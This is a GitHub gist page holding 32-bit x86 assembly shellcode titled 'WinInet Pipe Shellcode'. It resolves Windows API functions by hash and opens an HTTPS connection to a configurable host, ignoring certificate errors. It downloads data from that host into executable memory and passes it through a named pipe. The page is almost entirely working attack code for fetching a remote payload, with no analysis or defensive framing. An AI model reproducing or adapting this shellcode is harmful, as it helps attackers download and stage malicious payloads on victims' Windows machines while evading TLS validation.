Created
May 29, 2012 03:08
-
-
Save phikshun/2822272 to your computer and use it in GitHub Desktop.
WinInet Pipe Shellcode
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%define u(x) __utf16__(x) | |
[BITS 32] | |
[ORG 0] | |
cld | |
mov esi, esp ; ESI points to the current postion of the stack (for ref local var) | |
sub esp, 0x2000 ; Alloc some space on stack | |
call start | |
delta: | |
%include "block_api32.asm" | |
start: | |
pop ebp | |
load_wininet: | |
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. | |
push 0x696e6977 ; ... | |
push esp ; Push a pointer to the "wininet" string on the stack. | |
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) | |
call ebp ; LoadLibraryA( "wininet" ) | |
internetopen: | |
xor edi,edi | |
push edi ; DWORD dwFlags | |
push edi ; LPCTSTR lpszProxyBypass | |
push edi ; LPCTSTR lpszProxyName | |
push edi ; DWORD dwAccessType (PRECONFIG = 0) | |
push byte 0 ; NULL pointer | |
push esp ; LPCTSTR lpszAgent ("\x00") | |
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) | |
call ebp | |
jmp short tri_get_server_host | |
internetconnect: | |
pop ebx ; Save the hostname pointer | |
xor ecx, ecx | |
push ecx ; DWORD_PTR dwContext (NULL) | |
push ecx ; dwFlags | |
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) | |
push ecx ; password | |
push ecx ; username | |
push dword 443 ; PORT | |
push ebx ; HOSTNAME | |
push eax ; HINTERNET hInternet | |
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) | |
call ebp | |
jmp get_server_uri | |
tri_get_server_host: | |
jmp short dbl_get_server_host | |
httpopenrequest: | |
pop ecx | |
push byte 0x0 | |
push 0x54534f50 ; method = 'POST' | |
mov ebx, esp | |
xor edx, edx ; NULL | |
push edx ; dwContext (NULL) | |
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags | |
;0x80000000 | ; INTERNET_FLAG_RELOAD | |
;0x04000000 | ; INTERNET_NO_CACHE_WRITE | |
;0x00800000 | ; INTERNET_FLAG_SECURE | |
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT | |
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID | |
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | |
;0x00000200 ; INTERNET_FLAG_NO_UI | |
push edx ; accept types | |
push edx ; referrer | |
push edx ; version | |
push ecx ; url | |
push ebx ; method | |
push eax ; hConnection | |
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) | |
call ebp | |
mov esi, eax ; hHttpRequest | |
set_retry: | |
push byte 0x10 | |
pop ebx | |
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); | |
set_security_options: | |
push 0x00003380 | |
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | |
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID | |
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE | |
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA | |
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION | |
mov eax, esp | |
push byte 4 ; sizeof(dwFlags) | |
push eax ; &dwFlags | |
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) | |
push esi ; hRequest | |
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) | |
call ebp | |
set_timeout: | |
push 0x000493e0 ; Timeout in ms (300 seconds) | |
mov eax, esp | |
push byte 4 ; sizeof(dwFlags) | |
push eax ; &dwFlags | |
; Below needs further testing... doesn't seem to work with 2, 5 or 6 | |
push byte 5 ; DWORD dwOption ( INTERNET_OPTION_RECEIVE_TIMEOUT) | |
push esi ; hRequest | |
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) | |
call ebp | |
jmp short tri_get_params | |
httpsendrequest: | |
pop edi | |
mov edx, edi | |
xor ecx, ecx | |
xor eax, eax | |
not ecx | |
cld | |
repne scasb | |
not ecx | |
dec ecx | |
push ecx ; optional length | |
push edx ; optional | |
xor edi, edi | |
push edi ; dwHeadersLength | |
push edi ; headers | |
push esi ; hHttpRequest | |
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) | |
call ebp | |
test eax,eax | |
jnz short allocate_memory | |
try_it_again: | |
dec ebx | |
jz failure | |
jmp short set_security_options | |
dbl_get_server_host: | |
jmp get_server_host | |
get_server_uri: | |
jmp get_uri | |
failure: | |
jmp short host_unreachable | |
allocate_memory: | |
push byte 0x40 ; PAGE_EXECUTE_READWRITE | |
push 0x1000 ; MEM_COMMIT | |
push 0x00400000 ; Stage allocation (8Mb ought to do us) | |
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) | |
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) | |
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); | |
download_prep: | |
xchg eax, ebx ; place the allocated base address in ebx | |
push ebx ; store a copy of the stage base address on the stack | |
push ebx ; temporary storage for bytes read count | |
mov edi, esp ; &bytesRead | |
download_more: | |
push edi ; &bytesRead | |
push 8192 ; read length | |
push ebx ; buffer | |
push esi ; hRequest | |
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) | |
call ebp | |
test eax,eax ; download failed? (optional?) | |
jz failure | |
mov eax, [edi] | |
add ebx, eax ; buffer += bytes_received | |
test eax,eax ; optional? | |
jnz download_more ; continue until it returns 0 | |
pop eax ; clear the temporary storage | |
jmp start_pipe | |
host_unreachable: | |
mov ebx, esp | |
push 0x00525245 | |
mov eax, esp | |
push eax | |
start_pipe: | |
jmp short get_pipe_name | |
tri_get_params: | |
jmp short dbl_get_params | |
open_pipe: | |
pop ecx ; store pipe name in ecx | |
xor eax, eax | |
push eax | |
push eax | |
push 0x03 ; OPEN_EXISTING | |
push eax | |
push eax | |
push 0x40000000 ; GENERIC_WRITE | |
push ecx ; \\.\pipe\foo | |
push 0x4FDAF6DA ; CreateFileA | |
call ebp | |
xor ecx, ecx ; check for errors... | |
sub ecx, 1 | |
cmp eax, ecx | |
je error_found ; INVALID_HANDLE_VALUE = -1 | |
pop esi ; put buffer pointer in esi | |
sub ebx, esi ; ebx should be end of the buffer - now = byte count | |
push byte 0x00 | |
mov edi, esp | |
sub esp, 0x8 ; make room on stack for variable(s) | |
xor edx, edx | |
push edx ; NULL | |
push edi ; &dwBytesWritten | |
push ebx ; buffer size | |
push esi ; source buffer | |
push eax ; hFile | |
push 0x5BAE572D ; WriteFile | |
call ebp | |
error_found: | |
push byte 0 ; push the exit function parameter | |
push 0x6F721347 ; ntdll.dll!RtlExitUserThread | |
call ebp ; call EXITFUNK( 0 ); | |
dbl_get_params: | |
jmp short get_params | |
get_pipe_name: | |
call open_pipe | |
pipe_name: | |
db '\\.\pipe\fooo', 0 | |
get_server_host: | |
call internetconnect | |
server_host: | |
db "hostname", 0 | |
times 21 db 0 | |
get_uri: | |
call httpopenrequest | |
server_uri: | |
db '/12345', 0x00 | |
times 8 db 0 | |
get_params: | |
call httpsendrequest | |
server_params: | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment